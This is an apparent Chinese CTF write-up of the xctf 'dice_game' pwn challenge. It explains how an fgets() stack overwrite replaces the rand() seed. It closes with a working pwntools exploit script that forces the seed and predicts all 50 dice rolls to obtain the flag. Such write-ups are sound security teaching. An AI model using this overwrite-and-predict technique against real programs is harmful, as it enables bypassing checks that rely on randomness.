dice_game(xctf)

最新推荐文章于 2023-01-26 10:32:53 发布

whiteh4nd

最新推荐文章于 2023-01-26 10:32:53 发布

阅读量915

点赞数 1

分类专栏： # xctf(pwn高手区) CTF

本文链接：https://blog.youkuaiyun.com/weixin_43868725/article/details/106321685

版权

CTF 同时被 2 个专栏收录

41 篇文章

订阅专栏

xctf(pwn高手区)

27 篇文章

订阅专栏

0x0 程序保护和流程

保护：

在这里插入图片描述

流程：

main()

在这里插入图片描述

sub_A20()

在这里插入图片描述

sub_B28()

在这里插入图片描述

只要sub_A20()的验证通过50次就可以通过sub_B20()输出flag。而sub_A20()通过随机数来决定返回的值是否为1。整个程序只有fgets()处可以覆盖栈上其他变量的值，所以可以通过fgets()修改seed[0]的值。

0x1 利用过程

可以观察到seed[0]处于rsp+40h的位置所以padding=‘a’*40之后就可以覆盖seed[0]的值了。

0x2 exp

from pwn import *
from ctypes import *
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
sh=process('./a')
# sh=remote('124.126.19.106','30741')
payload='a'*0x40+p64(1)
sh.recvuntil('Welcome, let me know your name: ')
sh.sendline(payload)
for i in range(50):
    sh.recvuntil('Give me the point(1~6): ')
    sh.sendline(str(libc.rand()%6+1))

sh.recv()